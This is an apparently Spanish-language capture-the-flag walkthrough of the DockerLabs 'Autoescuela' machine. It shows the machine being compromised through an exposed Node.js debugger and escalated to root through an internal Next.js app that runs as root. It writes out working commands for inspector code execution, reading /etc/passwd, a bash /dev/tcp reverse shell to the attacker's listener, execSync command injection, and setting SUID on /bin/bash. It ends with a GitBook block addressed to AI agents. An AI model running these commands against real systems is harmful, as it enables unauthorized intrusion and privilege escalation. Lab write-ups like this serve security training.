> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/autoescuela.md).

# Autoescuela

## Introduccion

En esta maquina de DockerLabs se compromete una aplicacion Node.js con el inspector/debugger expuesto en red. Ese servicio permite conectarse por WebSocket y evaluar codigo JavaScript dentro del proceso, lo que termina dando ejecucion remota de comandos como el usuario `webuser`.

La escalada final aparece al revisar el script de arranque: la maquina levanta una app React/Next interna como `root` en `127.0.0.1:3000`. Abusando del endpoint vulnerable documentado en la propia maquina, se ejecuta un comando como root para marcar `/bin/bash` con SUID y obtener una shell privilegiada con `bash -p`.

***

## Reconocimiento

Se realiza un escaneo completo con Nmap:

```bash
nmap -sVCS -Pn -n -p- 172.17.0.2
```

<div align="center"><img src="/files/BlXRKHOn2BkX2Vzfntxx" alt="Escaneo Nmap"></div>

Puertos abiertos:

| Puerto   | Servicio       | Version            |
| -------- | -------------- | ------------------ |
| 8080/tcp | HTTP           | Node.js Express    |
| 9229/tcp | Node inspector | Debugger WebSocket |

El puerto `8080` muestra la aplicacion principal:

```
Autoescuela Hackcar - Inicio
```

El puerto `9229` responde como un inspector de Node.js y avisa de que espera peticiones WebSocket.

***

## Inspector de Node.js

Se consulta el endpoint JSON del inspector:

```bash
curl http://172.17.0.2:9229/json
```

<div align="center"><img src="/files/JV1Q3ginbl5jjTIm5Q4l" alt="Endpoint JSON del inspector Node"></div>

La respuesta revela informacion sensible:

```
url: file:///home/webuser/node_app/app.js
webSocketDebuggerUrl: ws://172.17.0.2:9229/698577ee-b16f-4b4c-bebe-7f4a212e327b
```

Con esa URL se abre una conexion WebSocket usando `wscat`:

```bash
wscat -c ws://172.17.0.2:9229/698577ee-b16f-4b4c-bebe-7f4a212e327b
```

***

## Ejecucion de JavaScript

Desde el inspector se puede usar `Runtime.evaluate`. Primero se comprueba el directorio de trabajo del proceso:

```json
{"id":2,"method":"Runtime.evaluate","params":{"expression":"process.cwd()"}}
```

<div align="center"><img src="/files/Aw5nGPolNvZfigwWvuWV" alt="Runtime.evaluate process.cwd"></div>

El proceso se ejecuta desde:

```
/root/react_app
```

Tambien se confirma lectura de archivos locales cargando el modulo `fs`:

```json
{"id":6,"method":"Runtime.evaluate","params":{"expression":"process.mainModule.require('fs').readFileSync('/etc/passwd','utf8')"}}
```

<div align="center"><img src="/files/fcGgNW1fLMWQkqumGf5d" alt="Lectura de /etc/passwd desde Node inspector"></div>

En `/etc/passwd` aparece un usuario interesante:

```
webuser:x:1001:1001::/home/webuser:/bin/bash
```

***

## Reverse shell como webuser

Se prepara un listener:

```bash
nc -lvnp 4444
```

Desde el inspector se ejecuta una reverse shell usando `child_process`:

```json
{"id":9,"method":"Runtime.evaluate","params":{"expression":"process.mainModule.require('child_process').exec('/bin/bash -c \"bash -i >& /dev/tcp/172.17.0.1/4444 0>&1\"')"}}
```

<div align="center"><img src="/files/1vLRdwHKlHfY3bdTmejK" alt="Reverse shell desde Node inspector"></div>

La conexion llega al listener:

<div align="center"><img src="/files/vlaBVhLTJZelEVDUsUSp" alt="Shell como webuser"></div>

Se obtiene una shell como:

```
webuser
```

***

## Enumeracion local

En la raiz del sistema se observa un script interesante:

```bash
ls -la /
```

<div align="center"><img src="/files/SzK1WU4OWmBhhH4LyYnF" alt="Listado raiz con entrypoint.sh"></div>

El archivo `/entrypoint.sh` explica como esta levantada la maquina:

```bash
cat /entrypoint.sh
```

<div align="center"><img src="/files/lDlSlT7FS0VnsQcIHiya" alt="Contenido de entrypoint.sh"></div>

Puntos importantes del script:

```
Node.js app as webuser with exposed debugger
Debugger is on 0.0.0.0:9229
Start React app internally (port 3000) as root
React app not exposed outside, only 127.0.0.1
```

La pista clave es que la app interna de React/Next corre como `root` y escucha en:

```
127.0.0.1:3000
```

***

## RCE interno como root

Desde la shell de `webuser`, se prueba el endpoint interno con `curl`:

```bash
curl -s -X POST http://127.0.0.1:3000/ \
  -H "Content-Type: text/plain" \
  --data "execSync('id')"
```

<div align="center"><img src="/files/9QMI8CPQcHGX0n3Cf1E2" alt="RCE interno ejecutando id como root"></div>

La respuesta confirma ejecucion como `root`:

```
uid=0(root) gid=0(root) groups=0(root)
```

***

## Escalada a root

Para convertir la ejecucion de comandos en una shell interactiva, se marca `/bin/bash` con SUID:

```bash
curl -s -X POST http://127.0.0.1:3000/ \
  -H "Content-Type: text/plain" \
  --data "execSync('chmod u+s /bin/bash')"
```

Despues se lanza Bash conservando privilegios efectivos:

```bash
/bin/bash -p
whoami
```

<div align="center"><img src="/files/Z1m0jvJRY70oZjh85QuA" alt="Shell root con bash -p"></div>

El resultado confirma la escalada:

```
root
```

***

## Resumen

La ruta completa queda asi:

1. Escaneo con Nmap para detectar Node.js en `8080` y el inspector en `9229`.
2. Consulta de `/json` para obtener la URL WebSocket del debugger.
3. Conexion al inspector con `wscat`.
4. Ejecucion de `Runtime.evaluate`.
5. Lectura de `/etc/passwd` desde el proceso Node.js.
6. Reverse shell con `child_process.exec`.
7. Acceso inicial como `webuser`.
8. Lectura de `/entrypoint.sh`.
9. Identificacion de una app interna en `127.0.0.1:3000` ejecutada como `root`.
10. RCE interno mediante peticiones POST con `execSync`.
11. Cambio de permisos SUID sobre `/bin/bash`.
12. Shell final como `root` usando `/bin/bash -p`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/autoescuela.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
